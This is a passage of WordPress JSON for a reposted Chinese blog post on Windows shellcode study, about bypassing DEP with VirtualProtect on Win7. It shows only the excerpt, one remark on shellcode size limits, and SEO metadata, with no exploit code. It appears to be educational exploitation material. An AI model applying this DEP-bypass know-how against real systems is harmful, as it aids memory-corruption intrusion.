style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u679cshellcode\u957f\u5ea6\u5927\u4e8e4096\uff0c\u4f7f\u7528VirtualProtect\u5173\u95edDEP\u4f1a\u5931\u8d25\uff0c\u9700\u8981\u9009\u62e9\u5176\u4ed6\u65b9\u6cd5\n\t<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<h1 style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-variant-numeric:inherit;font-stretch:inherit;font-size:30px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;white-space:normal;background-color:#FFFFFF;\">\n\tWindows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP<br \/>\n<\/h1>\n<div class=\"entry\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-variant-numeric:inherit;font-stretch:inherit;font-size:18px;line-height:inherit;font-family:Helvetica, Arial, sans-serif;vertical-align:baseline;color:#333333;white-space:normal;background-color:#FFFFFF;\">\n<h2 id=\"0x00-\u524d\u8a00\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\">\n\t\t0x00 \u524d\u8a00<br \/>\n\t<\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5728\u638c\u63e1\u4e86\u6808\u6ea2\u51fa\u7684\u57fa\u672c\u539f\u7406\u548c\u5229\u7528\u65b9\u6cd5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u7814\u7a76\u5982\u4f55\u7ed5\u8fc7Windows\u7cfb\u7edf\u5bf9\u6808\u6ea2\u51fa\u5229\u7528\u7684\u91cd\u91cd\u9632\u62a4\uff0c\u6240\u4ee5\u6d4b\u8bd5\u73af\u5883\u4e5f\u4ecexp\u8f6c\u5230\u4e86Win7(\u76f8\u6bd4xp\uff0cWin7\u7684\u9632\u62a4\u66f4\u5168\u9762)\u3002\u672c\u6587\u5c06\u8981\u4ecb\u7ecd\u7ecf\u5178\u7684DEP\u7ed5\u8fc7\u65b9\u6cd5\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP\n\t<\/p>\n<h2 id=\"0x01-\u7b80\u4ecb\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\">\n\t\t0x01 \u7b80\u4ecb<br \/>\n&#8230;<\/h2>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[329],"tags":[],"class_list":["post-216","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=216\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP  0x00 \u524d\u8a00   \u5728\u638c\u63e1\u4e86\u6808\u6ea2\u51fa\u7684\u57fa\u672c\u539f\u7406\u548c\u5229\u7528\u65b9\u6cd5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u7814\u7a76\u5982\u4f55\u7ed5\u8fc7Windows\u7cfb\u7edf\u5bf9\u6808\u6ea2\u51fa\u5229\u7528\u7684\u91cd\u91cd\u9632\u62a4\uff0c\u6240\u4ee5\u6d4b\u8bd5\u73af\u5883\u4e5f\u4ecexp\u8f6c\u5230\u4e86Win7(\u76f8\u6bd4xp\uff0cWin7\u7684\u9632\u62a4\u66f4\u5168\u9762)\u3002\u672c\u6587\u5c06\u8981\u4ecb\u7ecd\u7ecf\u5178\u7684DEP\u7ed5\u8fc7\u65b9\u6cd5\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP   0x01 \u7b80\u4ecb ...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=216\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2015-04-19T11:35:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=216#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png\",\"contentUrl\":\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=216#webpage\",\"url\":\"http:\/\/weizn.net\/?p=216\",\"name\":\"[\\u8f6c] Windows Shellcode\\u5b66\\u4e60\\u7b14\\u8bb0\\u2014\\u2014\\u901a\\u8fc7VirtualProtect\\u7ed5\\u8fc7DEP - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=216#primaryimage\"},\"datePublished\":\"2015-04-19T11:35:04+00:00\",\"dateModified\":\"2015-04-19T11:35:04+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=216#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=216\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=216#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"[\\u8f6c] Windows Shellcode\\u5b66\\u4e60\\u7b14\\u8bb0\\u2014\\u2014\\u901a\\u8fc7VirtualProtect\\u7ed5\\u8fc7DEP\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=216#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=216#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"[\\u8f6c] Windows Shellcode\\u5b66\\u4e60\\u7b14\\u8bb0\\u2014\\u2014\\u901a\\u8fc7VirtualProtect\\u7ed5\\u8fc7DEP\",\"datePublished\":\"2015-04-19T11:35:04+00:00\",\"dateModified\":\"2015-04-19T11:35:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=216#webpage\"},\"wordCount\":250,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=216#primaryimage\"},\"thumbnailUrl\":\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png\",\"articleSection\":[\"shellcode\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=216#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=216","og_locale":"zh_CN","og_type":"article","og_title":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP - Wayne&#039;s Blog","og_description":"Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP  0x00 \u524d\u8a00   \u5728\u638c\u63e1\u4e86\u6808\u6ea2\u51fa\u7684\u57fa\u672c\u539f\u7406\u548c\u5229\u7528\u65b9\u6cd5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u7814\u7a76\u5982\u4f55\u7ed5\u8fc7Windows\u7cfb\u7edf\u5bf9\u6808\u6ea2\u51fa\u5229\u7528\u7684\u91cd\u91cd\u9632\u62a4\uff0c\u6240\u4ee5\u6d4b\u8bd5\u73af\u5883\u4e5f\u4ecexp\u8f6c\u5230\u4e86Win7(\u76f8\u6bd4xp\uff0cWin7\u7684\u9632\u62a4\u66f4\u5168\u9762)\u3002\u672c\u6587\u5c06\u8981\u4ecb\u7ecd\u7ecf\u5178\u7684DEP\u7ed5\u8fc7\u65b9\u6cd5\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP   0x01 \u7b80\u4ecb ...","og_url":"http:\/\/weizn.net\/?p=216","og_site_name":"Wayne&#039;s Blog","article_published_time":"2015-04-19T11:35:04+00:00","og_image":[{"url":"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=216#primaryimage","inLanguage":"zh-Hans","url":"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png","contentUrl":"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=216#webpage","url":"http:\/\/weizn.net\/?p=216","name":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=216#primaryimage"},"datePublished":"2015-04-19T11:35:04+00:00","dateModified":"2015-04-19T11:35:04+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=216#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=216"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=216#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=216#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=216#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP","datePublished":"2015-04-19T11:35:04+00:00","dateModified":"2015-04-19T11:35:04+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=216#webpage"},"wordCount":250,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=216#primaryimage"},"thumbnailUrl":"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png","articleSection":["shellcode"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=216#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=216"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/216\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=216"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=216"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}